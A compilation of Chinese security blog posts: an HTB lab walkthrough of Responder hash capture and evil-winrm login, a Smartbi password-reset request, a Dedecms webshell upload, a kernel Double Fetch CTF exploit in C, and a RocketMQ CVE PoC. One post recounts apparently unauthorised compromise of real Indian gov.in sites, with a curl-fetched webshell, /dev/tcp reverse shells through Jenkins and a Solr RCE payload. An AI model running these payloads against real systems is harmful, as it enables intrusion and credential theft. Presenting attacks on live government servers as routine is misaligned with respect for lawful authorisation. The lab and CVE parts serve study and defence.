Responder与evil-winRM配合远程登录Windows
0x01.evil-winRM 0x01.1概述 在使用和介绍Responder之前,先来了解一下evil-winRM: evil-winrm是Windows远程管理(WinRM) Shell的终极版本。 Windows远程管理是WS 管理协议的 Microsoft 实施,该协议是基于标准 SOAP、不受防火墙影响的协议,允许不同供应商的硬件和操作系统相互操作。而微软将其包含在他们的系统中,是为了便于系统管理员在日常工作中,远程管理服务器,或通过脚本同时管理多台服务器,以提高他们的工作效率。 此程序可在启用此功能的任何Microsoft Windows服务器上使用(通常端口为5985),当然只有在你具有使用凭据和权限时才能使用。因此,我们说它可用于黑客攻击的后利用/渗透测试阶段。相对于攻击者来说,这个程序能为他们提供更好更简单易用的功能。当然,系统管理员也可以将其用于合法目的,但其大部分功能都集中于黑客攻击/渗透测试。 0x01.2安装和使用 安装: 方法一 sudo apt install evil-winrm 方法二: git clone https://github.com/Hackplayers/evil-winrm.git 方法三: gem install evil-winrm 使用: 首先查看帮助文档 root@kali:~# evil-winrm -h Evil-WinRM shell v3.5 用法:evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-p PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] [-r 领域] [--spn SPN_PREFIX] [-l]     -S, --ssl 启用 ssl     -c, --pub-key PUBLIC_KEY_PATH 公钥证书的本地路径     -k, --priv-key PRIVATE_KEY_PATH 私钥证书的本地路径     -r, --realm DOMAIN Kerberos auth,还必须使用此格式在 /etc/krb5.conf 文件中设置 -> CONTOSO.COM = { kdc = fooserver.contoso.com }     -s, --scripts PS_SCRIPTS_PATH Powershell 脚本本地路径         --spn SPN_PREFIX Kerberos 身份验证的 SPN 前缀(默认 HTTP)     -e, --executables EXES_PATH C# 可执行文件本地路径     -i, --ip IP 远程主机IP或主机名。 Kerberos 身份验证的 FQDN(必需)     -U, --url URL 远程 url 端点(默认 /wsman)     -u, --user USER 用户名(如果不使用 kerberos,则需要)     -p, --password PASS 密码     -H, --hash HASH NTHash     -P, --port PORT 远程主机端口(默认5985)     -V, --version 显示版本     -n, --no-colors 禁用颜色     -N, --no-rpath-completion 禁用远程路径完成     -l, --log 记录 WinRM 会话     -h, --help 显示此帮助消息 0x02.Responder 0x02.1 概念 响应 LLMNR、NBT-NS 和 MDNS 投毒者。 它将根据名称后缀回答特定的 NBT-NS(NetBIOS 名称服务)查询(请参阅:http://support.microsoft.com/kb/163409)。默认情况下,该工具将仅响应适用于 SMB 的文件服务器服务请求。 0x02.2 特性 内置 SMB 身份验证服务器 默认情况下支持具有扩展安全性 NTLMSSP 的 NTLMv1、NTLMv2 哈希。 已成功测试从 Windows 95 到 Server 2012 RC、Samba 和 Mac OSX Lion。 NT4 支持明文密码,当设置--lm选项时,LM 哈希降级。该工具启动时默认启用此功能。 内置 MSSQL 身份验证服务器 为了将 SQL 身份验证重定向到此工具,您需要为 Windows Vista 之前的系统设置选项 -r(用于 SQL Server 查找的 NBT-NS 查询使用工作站服务名称后缀)(LLMNR 将用于 Vista 和 更高)。 该服务器支持 NTLMv1、LMv2 哈希。 此功能已在 Windows SQL Server 2005 和 2008 上成功测试。 内置 HTTP 身份验证服务器 为了将 HTTP 身份验证重定向到此工具,您需要为早于 Vista 的 Windows 版本设置选项 -r(用于 HTTP 服务器查找的 NBT-NS 查询使用工作站服务名称后缀发送)。 对于 Vista 及更高版本,将使用 LLMNR。 该服务器支持 NTLMv1、NTLMv2 哈希和基本身份验证。 该服务器已在 IE 6 至 IE 10、Firefox、Chrome、Safari 上成功测试。 注意:此模块也适用于从 Windows WebDav 客户端 (WebClient) 发出的 WebDav NTLM 身份验证。 您现在可以将自定义文件发送给受害者。 内置 HTTPS 身份验证服务器 与上面相同。 文件夹 certs/ 包含 2 个默认密钥,其中包括一个虚拟私钥。 这是故意的,目的是让 Responder 开箱即用。 添加了一个脚本,以防您需要生成自己的自签名密钥对。 内置 LDAP 身份验证服务器 为了将 LDAP 身份验证重定向到此工具,您需要为早于 Vista 的 Windows 版本设置选项 -r(用于 HTTP 服务器查找的 NBT-NS 查询使用工作站服务名称后缀发送)。 对于 Vista 及更高版本,将使用 LLMNR。 该服务器支持 NTLMSSP 哈希和简单身份验证(明文身份验证)。 该服务器已在 Windows 支持工具"ldp"和 LdapAdmin 上成功测试。 内置 FTP、POP3、IMAP、SMTP 身份验证服务器 该模块将收集明文凭据 内置 DNS 服务器 该服务器将回答 A 类查询。 当它与 ARP 欺骗结合起来时,这真的很方便。 内置 WPAD 代理服务器 如果启用了“自动检测设置”,此模块将捕获网络上启动 Internet Explorer 的任何人的所有 HTTP 请求。 该模块非常有效。 您可以在 Responder.conf 中配置自定义 PAC 脚本,并将 HTML 注入服务器的响应中。 请参阅 Responder.conf。 浏览器监听器 该模块允许在隐身模式下找到 PDC。 指纹识别 当使用选项 -f时,响应程序将对发出 LLMNR/NBT-NS 查询的每个主机进行指纹识别。 所有采集模块在指纹模式下仍然可以工作。 ICMP 重定向 python tools/Icmp-Redirect.py 适用于 Windows XP/2003 及更早版本上的 MITM 域成员。 这种攻击与 DNS 模块相结合非常有效。 流氓 DHCP python tools/DHCP.py DHCP 通知欺骗。 允许您让真正的 DHCP 服务器发布 IP 地址,然后发送 DHCP Inform 应答以将您的 IP 地址设置为主 DNS 服务器,以及您自己的 WPAD URL。 分析模式 该模块允许您查看网络上的 NBT-NS、BROWSER、LLMNR、DNS 请求,而不会破坏任何响应。 此外,您还可以被动映射域、MSSQL 服务器、工作站,看看 ICMP 重定向攻击在您的子网上是否可行。 0x02.3 Responder欺骗原理 在使用Responder之前,我们要先了解windwos默认开启的三种协议,这三种协议分别是链路本地多播名称解析(LLMNR)、名称服务器(NBNS) 协议和多播DNS(mdns)协议。 LLMNR 链路本地多播名称解析(LLMNR)是一个基于域名系统(DNS)数据包格式的协议,IPv4和IPv6的主机可以通过此协议对同一本地链路上的主机执行名称解析。Windows 操作系统从 Windows Vista开始就内嵌支持,Linux系统也通过systemd实现了此协议。它通过UDP 5355端口进行通信,且LLMNR支持IPV6。 NBNS 网络基本输入/输出系统(NetBIOS) 名称服务器(NBNS) 协议是 TCP/IP 上的 NetBIOS (NetBT) 协议族的一部分,它在基于 NetBIOS 名称访问的网络上提供主机名和地址映射方法。通过UDP 137端口进行通信,但NBNS不支持IPV6。 mDNS 在计算机网络中 ,多播DNS( mDNS )协议将主机名解析为不包含本地名称服务器的小型网络中的IP地址。 它是一种零配置服务,使用与单播域名系统(DNS)基本相同的编程接口,数据包格式和操作语义。 虽然Stuart Cheshire将mDNS设计为独立协议,但它可以与标准DNS服务器协同工作。它通过UDP 5353端口进行通信,且mDNS也支持IPV6。 目前仅有windows 10以上的系统支持mdns,经测试发现,禁用了llmnr后mdns也会被禁用。 总的来说,以上几种协议在windows中都是默认启用的,主要作用都是在DNS服务器解析失败后,尝试对windows主机名称进行解析,正因为默认启用、且实现方式又类似于ARP协议,并没有一个认证的过程,所以就会引发各种基于这两种协议的欺骗行为,而Responder正是通过这种方式,欺骗受害机器,并使受害机器在后续认证中发送其凭证。 0x02.4 使用方法 root@kali:~#responder -h 用法:responder -I eth0 -w -d 或者: responder -I eth0 -wd 选项:   --version 显示程序的版本号并退出   -h, --help 显示此帮助消息并退出   -A, --analyze 分析模式。 此选项允许您查看NBT-NS,                         BROWSER、LLMNR 请求没有响应。   -I eth0,--接口=eth0                         要使用的网络接口,可以使用“ALL”作为                         所有接口的通配符   -i 10.0.0.21,--ip=10.0.0.21                         要使用的本地 IP(仅适用于 OSX)   -6 2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed, --externalip6=2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed                         使用其他 IPv6 地址对所有请求进行毒害                         响应者之一。   -e 10.0.0.22, --externalip=10.0.0.22                         使用其他 IP 地址毒害所有请求                         响应者之一。   -b, --basic 返回基本 HTTP 身份验证。 默认值:NTLM   -d, --DHCP 启用 DHCP 广播请求的应答。 这                         选项将在 DHCP 响应中注入 WPAD 服务器。                         默认值:假   -D, --DHCP-DNS 该选项将在 DHCP 中注入 DNS 服务器                         响应,否则将添加 WPAD 服务器。                         默认值:假   -w, --wpad 启动 WPAD 恶意代理服务器。 默认值为                         错误的   -u UPSTREAM_PROXY, --upstream-proxy=UPSTREAM_PROXY                         恶意 WPAD 代理使用的上游 HTTP 代理                         传出请求(格式:主机:端口)   -F, --ForceWpadAuth 对 wpad.dat 文件强制进行 NTLM/Basic 身份验证                         恢复。 这可能会导致登录提示。 默认:                         错误的   -P, --ProxyAuth 强制 NTLM(透明)/基本(提示)                         代理的身份验证。 WPAD 不需要                         在。 这个选项非常有效。 默认值:假   --lm 强制 Windows XP/2003 和 LM 哈希降级                         早些时候。 默认值:假   --disable-ess 强制 ESS 降级。 默认值:假   -v, --verbose 增加详细程度。 0x03 靶场实战--Responder与evil-winRM配合远程登录windows 测试环境: kali (攻击机)   192.168.154.128 vpn接入内网环境: ip -> 10.10.14.115 HTB靶机 windows 10 (受害机) 10.129.48.161 开启靶机 前置的步骤简单过一下: TASK 1 When visiting the web service using the IP address, what is the domain that we are being redirected to? unika.htb 直接curl探测一下就行 访问域名需要在本地的hosts文件就行一个配置: TASK 2 Which scripting language is being used on the server to generate webpages? PHP 直接使用wappalyzer插件即可 TASK 3 What is the name of the URL parameter which is used to load different language versions of the webpage? page 查看网页源代码: TASK 4 Which of the following values for the page parameter would be an example of exploiting a Local File Include (LFI) vulnerability: "french.html", "//10.10.14.6/somefile", "../../../../../../../../windows/system32/drivers/etc/hosts", "minikatz.exe" ../../../../../../../../windows/system32/drivers/etc/hosts 这里熟悉文件包含漏洞(FI)师傅能直接get到点: TASK 5 Which of the following values for the page parameter would be an example of exploiting a Remote File Include (RFI) vulnerability: "french.html", "//10.10.14.6/somefile", "../../../../../../../../windows/system32/drivers/etc/hosts", "minikatz.exe" //10.10.14.6/somefile 这里和上一问同理 TASK 6 What does NTLM stand for? NT (New Technology) LAN Manager (NTLM) 查阅Wiki百科就行(可以往下深入了解,这是内网的开始...... TASK 7 Which flag do we use in the Responder utility to specify the network interface? -I 通过上面的帮助文档可以知道 TASK 8 There are several tools that take a NetNTLMv2 challenge/response and try millions of passwords to see if any of them generate the same response. One such tool is often referred to as john, but the full name is what?. John the Ripper 也是查阅Wiki百科即可 本文的关键操作,可直接跳至此处 接下来将是本文的重点操作: 首先查看一下自身ip(vpn),并开启监听 开启监听:responder -I tun0 -w -d 接着利用web端的远程文件包含漏洞(RFI)访问我自身(10.10.14.115)的任意文件,进行一个Hash泄露 payload: http://unika.htb/index.php?page=//10.10.14.115/somefile Responder就可以捕获到来自受害机(10.129.48.161)带有用户的密码(password)的Hash值 Administrator::RESPONDER:9baf19c29ef21567:761FED4C7E3DB9BCFEF3E747E797B10D:010100000000000000E56ED168C8D901D119B9B66118B37A00000000020008004E0044004200450001001E00570049004E002D004C004C0047004200590033003100340035005800510004003400570049004E002D004C004C004700420059003300310034003500580051002E004E004 将这段字符串保存到一个txt文件中,接下来使用JHON进行一个Hash爆破: john -w=/usr/share/wordlists/rockyou.txt admin.txt 能够获取到Administrator用户的密码为:badminton TASK 9 What is the password for the administrator user? badminton TASK 10 We'll use a Windows service (i.e. running on the box) to remotely access the Responder machine using the password we recovered. What port TCP does it listen on? 5985 使用nmap进行一个开放端口探测即可: nmap -p- --min-rate 1000 -sV 10.129.48.161 拿到用户的账户和密码之后就到了一开始所提到的evil-winRM的使用了 evil-winrm -i 10.129.48.161 -u administrator -p badminton 这样就可以远程登录windows服务器啦,接下来我们能做到的事儿有很多。 第一步肯定是找题目需要的flag 找到我们需要的flag文件只是最基础的,别着急提交,不然就浪费这个练习工具的好机会了 可以多试试几个命令: menu:加载Invoke-Binary和l04d3r-LoadDll函数。当加载ps1时,会显示其所有功能。 download:下载远程文件到本地,如果远程文件在当前目录中,则不需要local_path。 download local_path remote_path 这里可以尝试一下下载flag.txt upload:从本地(kali)上传文件到目标机器,如果本地文件与evil-winrm.rb文件位于同一目录中,则不需要remote_path。 upload local_path remote_path 这里可以试着传一个txt文件 Invoke-Binary:允许在内存中执行从c#编译的exe。该名称可使用tab键自动补全,最多允许3个参数。可执行文件必须在-e参数设置的路径中。 这里由于我在连接时并未指定exe的路径所以这里没法正常执行命令。 services:列出所有服务(无需管理员权限) 加载 powershell 脚本 要加载ps1文件,你只需键入名称(可以使用tab自动补全)。脚本必须位于-s参数中设置的路径中。再次键入menu并查看加载的功能。 这里我没指定路径所以是没有powershell脚本的,所以没法正常演示。 最后 本次的分享就到这儿结束了,当然还有很多的操作和细节没有能够展示到,后续就留给师傅们去探索了。
Smartbi 修改用户密码漏洞
漏洞简介 通过查看 Smartbi 的补丁包信息,发现存在漏洞在某种特定情况下修改用户的密码,进行简单的复现和分析 漏洞复现 在页面上修改密码时,需要知道原本的用户对应的密码 直接构造这样的数据包,就不需要知道原本的密码,知道用户名就可以修改密码 POST /smartbi/vision/RMIServlet HTTP/1.1 Host: 192.168.222.133:18080 Content-Length: 73 Cache-Control: max-age=0 If-Modified-Since: 0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: */* Origin: http://192.168.222.133:18080 Referer: http://192.168.222.133:18080/smartbi/vision/index.jsp Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: JSESSIONID=4A4AC06EC1DF3CDDC45239C211926FA1 Connection: close className=UserService&methodName=changePasswordEx&params=["admin","","1"] 漏洞分析 smartbi.usermanager.ILocalUserManagerModule#changePasswordEx smartbi.usermanager.UserManagerModule#changePasswordEx 修改密码的操作虽然获取了用户名 原本的密码 修改后的新密码,但是对原本的密码并没有做任何校验处理 userId 是根据传入的用户名查询到的 smartbi.usermanager.UserManagerModule#updateUserEx smartbi.usermanager.UserManagerModule#updateUserExtend 漏洞修复 上传补丁包后再发送数据包,发现被拦截 ‍ 匹配到对应的类名和方法就结束执行
Dedecms V110最新版RCE---Tricks
前言 刚发现Dedecms更新了发布版本,顺便测试一下之前的day有没有修复,突然想到了新的tricks去实现RCE。 文章发布的时候估计比较晚了,一直没时间写了。 利用 /uploads/dede/article_string_mix.php /uploads/dede/article_template_rand.php /uploads/dede/sys_task.php ...... 我发布的文档->>>>添加文档->>>>站内选择进行文件上传 /uploads/dede/content_list.php](http://dedecms.xyz:8066/uploads/dede/content_list.php?mid=1) /uploads/dede/catalog_do.php?channelid=0&cid=0&dopost=addArchives 文件上传 在vps上起一个http的服务,端口设置为8016 远程服务器存放shell.php,文件内容为 <?php @eval ($_POST ['a']);?> 准备一个图片格式的文件,文件内容为,这里我上传的文件名称为f.png <? copy("http://192.168.225.40:8016/shell.php","shell.php");?> 上传成功后可以看到上传的图片的位置 修改文件名为b.php 保存发现png图片已成功被更改,访问b.php,从远程vps下载了shell.php,当前目录下存在一个名称为shell.php的木马文件 利用webshell进行命令执行。 成功执行了命令 思考 如果不考虑文件上传后缀名绕过方法,仅以上面图片格式的文件上传的话,那么无所谓上传的什么内容,因为本身来讲dede的代码中对文件内容是做的有校验的 所以文件内有两种绕过方法 正则绕过 disable函数绕过 简单搜索了一下各个平台的文章,其实是有师傅正则绕过实现webshell的。第二点儿,disable函数绕过,往前几个版本,有兴趣的可以看一下源码,之前利用全局变量Globals绕过 代码内容 <?php $a = $GLOBALS["_GET"]; $b = $GLOBALS["_GET"]; $a['test1']($b['test2']) ?> 命令执行 http://dedecms.org:8016/uploads/shell.php?test1=assert&&test2=system(%22ipconfig%22);&&成功执行命令,且该命令执行为未授权命令执行。 所以在官方前几个版本中已经更新了,添加进了禁用方法 所以在绕过禁用方法上来讲更容易一点儿。所以在利用上这里利用了copy函数的特性,那么这里提醒一下,其它的函数当然也可以满足效果。
条件竞争漏洞Double Fetch
前言 Double Fetch(双取)是一种条件竞争的漏洞,相关的论文发表在USENIX,论文链接:https://www.usenix.org/system/files/conference/usenixsecurity17/sec17-wang.pdf Double Fetch Double Fetch是内核的一种漏洞类型,发生在内核从用户空间中拷贝数据时,两次访问了相同一块内存。如下图示(图片来自论文),内核从用户空间拷贝数据时,第一次拷贝会进行安全检测,而第二次拷贝时才会进行数据的使用,那么在第一次拷贝与第二次拷贝的间隙,就能够进行恶意数据篡改。举个例子,在第一次时从用户空间中获取了需要拷贝的长度,并进行长度的检测,但是在第二次拷贝时会再次拷贝长度,并且根据该长度进行数据的拷贝。但是此时的长度是没有经过校验的,因此当该长度在第一次拷贝与第二次拷贝之间被修改,就会导致漏洞的发生。这种漏洞就被称之为Double Fetch。 论文的作者总结了容易发生Double Fetch的情况,如下图示(图片来自论文)。通常用户进程会通过指定的消息格式与内核进行通信,而消息格式通常由消息头与消息体构成。消息头包含了一些特殊属性,比如消息的长度,消息的类型等。那么内核通常会取出消息头,根据消息头的信息,进行不同的分支执行。若在进入分支后,内核依旧提取出消息头,并使用了前面使用过的字段,就非常容易发生Double Fetch,因为在这两次提取的过程中,用户态的程序可以修改消息头。 作者根据Double Fetch发生的场景,并将其进行分类 类型选择 长度检查 浅拷贝 类型选择 类型选择的Double Fetch,如下图示(图片来自论文)。代码截取自cxgb3 main.c。可以看到下述代码首先通过copy_from_user函数从useraddr中拷贝数据到cmd中,而useraddr为用户空间的地址。而后续的流程会根据从useraddr中提取出的数据从而选择执行。并且在每个分支中,又通过copy_from_user函数从useraddr的地址中取出数据,做后续的处理。若在后续的处理中又重复使用到了cmd那么就会导致Double Fetch。 长度选择 长度选择的Double Fetch,如下图示(图片来自论文)。在第一次拷贝是通过copy_from_user从arg中获取数据,并且提取了header.Size,在第二次时又重复了这个过程,这就是明显的Double Fetch。若在两次提取之间修改了header.Size值,并通过aac_fib_send函数发送数据,那么就会导致漏洞的发送,即可以泄露比原本header.Size值更大的数据量。 浅拷贝 浅拷贝则是第一次的拷贝只是将指向用户数据的指针拷贝到内核中,后续在将用户数据拷贝进来。如下图示(图片来自论文)。第一次获取时是通过指向用户数据的指针的指针,而第二次同样是这么获取的,那么在第一次与第二次的间隔中修改指针的指向就会导致数据被修改。 举个例子,即内核拷贝时并不是把能够读取用户数据的地址拷贝进来,而是将指向该地址的地址给拷贝进来,即下图中的ptr,因此后续内核在读取数据的时候都是通过ptr进行获取,那么在两次获取的中途修改了ptr的指向,那么就可以使得内核指向恶意数据。 总结一下Double Fetch的利用流程 内核会从用户空间中获取数据,并且会两次获取相同空间的数据 在两次获取的过程中没有检测获取的数据是否一致 最后在两次获取的过程中,篡改该空间的数据 20180ctf-final-baby 题目链接:https://github.com/h0pe-ay/Kernel-Pwn/tree/master/0ctf-final-baby 在模块中存在baby_ioctl函数,若rsi的值为0x6666则会将flag输出,由于是通过printk,因此需要通过dmesg输出,若rsi为0x1337,则会经过一个校验函数,若通过该校验流程,则会将flag的值与传入的地址的内容进行比较,若内容完全一致,那么则会将flag直接输出,同样的该输出是通过printk,因此需要通过dmesg进行打印。 接着看校验函数,该函数很简单,接受三个参数,a1、a2、a3,若a1 + a2 < a3则通过检查。而a1的值是我们所控制的,即rdx寄存器的值,而a3的值则是通过&current_task中获取的。 可以发现从&current_task中获取的地址为0x7ffffffff000 下图为用户空间的地址分布,可以看到0x7ffffffff000为末尾地址,因此该检测即使若传入的地址是用户空间地址则通过,传入内核空间地址就不通过。 这么做的原因是因为,flag字符串是硬编码到驱动中的,若能够读取内核空间的内容,岂不是可以直接读取了?因此该题做了隔离。 那么这题就能够使用Double Fetch进行利用,重点来看检测部分。驱动会进行三块检测 检查传入的地址是否为用户空间的地址 检查传入的地址的内容的值是否为用户空间的地址 检查传入的长度是否与flag的长度一致 总的来说从用户空间中我们传入了一个结构体 typedef struct {    char *flag_addr;    unsigned long flag_len; }; 可以看到该题在检测的时候获取的用户空间的地址v5,接着在循环过程中再一次获得用户空间的地址v5,在这两次获取的过程中并没有去比较值是否被修改了,那么就导致了Double Fetch。 利用的思路如下 在检测阶段,v5的我们使用用户空间的变量值进行赋值,即v5 = buf 而进入比较阶段,v5的值我们使用flag的地址值进行赋值,即v5 = flag 那么如何获得进入比较阶段的时间点呢,可以看到题目即使比较失败也不会发生异常而是简单的返回,因此我们可以开启一个线程,不断的修改v5 = flag即可 ... void * rewrite_flag_addr(void *arg) { pdata data = (pdata)arg; while(finish == 0) { data->flag_addr = (char *)target_addr; //printf("%p\n",data_flag.flag_addr); } } ... err = pthread_create(&ntid, NULL, rewrite_flag_addr, &data_flag); ... 具体流程如下图,这里用线程的原因 主线程与子线程异步执行 线程之间共享内存信息 因此可以利用其他线程去修改共享的内存 完整exp #include <stdio.h> #include <fcntl.h> #include <string.h> #include <unistd.h> #include <sys/ioctl.h> #include <pthread.h> #define MAXSIZE 1024 #define MAXTIME 1000000 unsigned long target_addr; int finish; typedef struct { char* flag_addr; unsigned long flag_len; }data, *pdata; data data_flag; int fd; void * rewrite_flag_addr(void *arg) { pdata data = (pdata)arg; while(finish == 0) { data->flag_addr = (char *)target_addr; //printf("%p\n",data_flag.flag_addr); } } int main() { fd = open("/dev/baby", O_RDWR); __asm( ".intel_syntax noprefix;" "mov rax, 0x10;" "mov rdi, fd;" "mov rsi, 0x6666;" "syscall;" ".att_syntax;" ); char buf[MAXSIZE]; char *target; int count; int flag = open("/dev/kmsg", O_RDONLY); if (flag == -1) printf("open dmesg error"); while ((count = read(flag, buf, MAXSIZE)) > 0) { if ((target = strstr(buf, "Your flag is at ")) > 0) { target = target + strlen("Your flag is at "); char *temp = strstr(target, "!"); target[temp - target] = 0; target_addr = strtoul(target, NULL, 16); printf("flag address:0x%s\n",target); printf("flag address:0x%lx\n", target_addr); break; } } data_flag.flag_addr = buf; data_flag.flag_len = 33; pthread_t ntid; int err; err = pthread_create(&ntid, NULL, rewrite_flag_addr, &data_flag); for (int i = 0; i < MAXTIME; i++) { ioctl(fd, 0x1337, &data_flag); data_flag.flag_addr = buf; //printf("%d\n",i); } finish = 1; pthread_join(ntid, NULL); printf("end!"); //system("dmesg | grep flag"); }
一次暴露面全开的红帽渗透测试【getshell】
0x01、信息收集阶段 注:本次信息收集过程主要使用FOFA网络探测平台 https://fofa.info/=== 一开始进行收集的时候,有点迷,直接进行了大面积的"gov.in"域名收集 host="gov.in" && country="IN" 哈哈68465条数据,想想就起飞,但是有个问题来了,怎么下载到本地,高级用户的API也只能调用下载1w条数据,左思右想。 试着写了个脚本看看: import pythonfofa import csv filename = "IN_domain.csv" email = 'u_mail' key = 'u_API_KEY' search = pythonfofa.Client(email, key) get_data = search.search('host="gov.in" && country="IN"', size=70000) # print(get_data) requests = [result[1] for result in get_data['results']] print(requests) # 打开CSV文件并设置写入模式 with open(filename, "w", newline="") as file:    writer = csv.writer(file)    # 遍历请求列表    for request in requests:        # 在控制台打印域名        print(request)        # 检测域名是否包含"http://"        if not request.startswith("http://") and not request.startswith("https://"):            # 如果不包含,则在域名前添加"http://"            request = "http://" + request        # 在域名后添加斜杠"/"        request += "/"        # 将请求和值"1"作为一行写入CSV文件        writer.writerow([request, 1]) 是的,肯定不能跑,下断点,调试看看 很好确实是不能直接干7w条,换个收集思路,收集主流框架进行相应的漏扫 主流框架的相关漏洞的FOFA规则语句: Fastjson app="Fastjson" && host="in" && country="IN" && status_code="200" && (port="80" || port="443") Struts2 app="Struts" && host="in" && country="IN" && status_code="200" && (port="80" || port="443") Log4j2 (app="Log4j2" && host="in" && country="IN" && status_code="200" && (port="80" || port="443")) 其他的也都大同小异,照葫芦画瓢就行。 目标站点收集差不多了,就是漏洞探测阶段了。 0x02、漏洞探测及利用 Struts2: 直接掏出大范围漏扫AWVS就行批量漏洞探测: 第一天数据就直接起飞,因为本次目标是==getshell==直接忽略中低危漏洞告警,查看高危漏洞: 很好一堆==Struts2==漏洞,直接上工具: 得到一个RCE(远程命令执行漏洞),远程写入==shell==,先利用工具生成一个==Antsword(蚁剑)jsp格式的shell== 将shell放到一个公网服务器上,接着执行命令查看web路径:/var/tomcat9/pmrportal/ROOT/ 直接执行 curl -o /var/tomcat9/pmrportal/ROOT/shell.jsp http://u_ip/antsword.jsp 然后webshell工具Antsword连接即可: 爆出的该S2-045的漏洞的还有几个,getshell方式同上,不进行细述了___________。 Weblogic: 很好用的awvs,直接上工具注入内存马: 冰蝎连接webshell: 同类型的漏洞还有几个,getshell的方式都一致,不一一概述了》》 (PS:这个时候已经有些疲软了,没有去手测upload的点) Jenkins: 中途其他框架没有收获的时候,就去浏览知识的海洋了,看到一个存在大量未授权+RCE的框架漏洞(Jenkins),二话不说,直接上FOFA: (app="JENKINS" && title=="Dashboard [Jenkins]" && country="IN" && status_code="200") && (port="80" || port="443") 一看86条资产,有戏,数量不多,直接手测: 存在未授权,访问manager --> script页面,进行命令执行测试: println "ls -al".execute().text 存在命令执行,尝试反弹shell: println "bash -i >& /dev/tcp/ip/port 0<&1".execute().text 接收shell的服务器开启端口监听: 执行命令 发现没有shell反弹过来,猜测不能在web端执行反弹shell,于是将反弹shell的命令写入.sh文件中,然后执行,进行反弹shell操作: 在sh文件中写入如下内容: bash -i >& /dev/tcp/ip/port 0<&1 保存在开放的web端口,在jenkins服务中执行如下curl命令远程下载sh文件: println "curl - o /tmp/jenkins.sh http://u_ip:port/jenkins.sh".execute().text 查看.sh文件是否获取成功: println "ls -al /tmp".execute().text 获取.sh文件成功,执行文件,反弹shell: 开启监听: 执行命令,启动.sh文件: println "bash /tmp/jenkins.sh".execute().text 成功监听到谈过来的shell,又拿下一台!其他的没有存在未授权,便没有尝试。 Apache-Solr 闲着没事,打开文库看了几篇RCE复现,心血来潮,打开FOFA: country="IN" && app="Apache-Solr" && status_code="200" && (port="443" || port="80") 数据不大,接着手测,拿到三个未授权(不需要登陆): ==授权==: ==未授权==: 拿到未授权之后,进行CVE探测: 访问/solr/admin/cores/,获取name => music 接着拼接路径/solr/music/config/查看用户配置信息: 都为true,可直接利用公网披露的payload进行RCE, GET /solr/music/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%22whoam Host: ip User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 测试是否出网: 修改执行命令为 curl%20xtolsc.dnslog.cn 可出网,直接反弹shell: GET /solr/music/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%22bash% Host: ip accept: */* User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close VPS开启端口监听:nc -lvvnp 5000 接听到弹过来的shell了,好,又拿下一台,root权限。 其他漏洞发现 反射型XSS 具体测试过程均无任何难度,无须bypass黑名单之类的,测试语句 <script>alert(1)</script> SQL注入 这类没有具体测试,发现注入点之后直接上SQLmap开扫: sqlmap https://******.gov.in/****/Validate.jsp --data "email=a@a.com&password=123456" --random-agent -t 10 -p password --proxy=http://127.0.0.1:7890 --dbms=mysql 诸如其他的漏洞也有发现,但不是本次渗透的重点,便没重点去深入。 渗透总结 本次测试周期长,测试目标暴露点多,非常有趣的一次渗透实战,后期有其他事儿,就没法全身心投入,蛮可惜的。
Apache RocketMQ 远程代码执行漏洞(CVE-2023-33246)
漏洞简介 RocketMQ 5.1.0及以下版本,在一定条件下,存在远程命令执行风险。RocketMQ的NameServer、Broker、Controller等多个组件外网泄露,缺乏权限验证,攻击者可以利用该漏洞利用更新配置功能以RocketMQ运行的系统用户身份执行命令。 此外,攻击者可以通过伪造 RocketMQ 协议内容来达到同样的效果。 影响版本 5.0.0 <= Apache RocketMQ < 5.1.1 4.0.0 <= Apache RocketMQ < 4.9.6 安全版本 Apache RocketMQ 5.1.1 Apache RocketMQ 4.9.6 漏洞复现 在本地创建 maven 项目 并添加依赖 <dependencies>   <!-- https://mvnrepository.com/artifact/org.apache.rocketmq/rocketmq-tools -->        <dependency>            <groupId>org.apache.rocketmq</groupId>            <artifactId>rocketmq-tools</artifactId>            <version>5.1.0</version>        </dependency> </dependencies> 编写漏洞利用代码 import org.apache.rocketmq.tools.admin.DefaultMQAdminExt; import java.util.Properties; public class poc1 {    public static void main(String[] args) throws Exception {        // 创建 Properties 对象        Properties props = new Properties();        //修改rocketmqHome配置        props.setProperty("rocketmqHome","-c gnome-calculator test");        props.setProperty("filterServerNums","1");        // 创建 DefaultMQAdminExt 对象并启动        DefaultMQAdminExt admin = new DefaultMQAdminExt();        //此处为 namesrv 端口,此端口无需可访问        admin.setNamesrvAddr("192.168.222.130:9876");        admin.start();        // 更新配置⽂件        //此处为 broker 端口,必须可访问        admin.updateBrokerConfig("192.168.222.130:10911", props);        // 关闭 DefaultMQAdminExt 对象        admin.shutdown();   } } 漏洞分析 我们看到真正有危险的操作应该是与 10911 进行通信的操作,没有进行身份验证和加密传输,同时带入了命令执行的参数 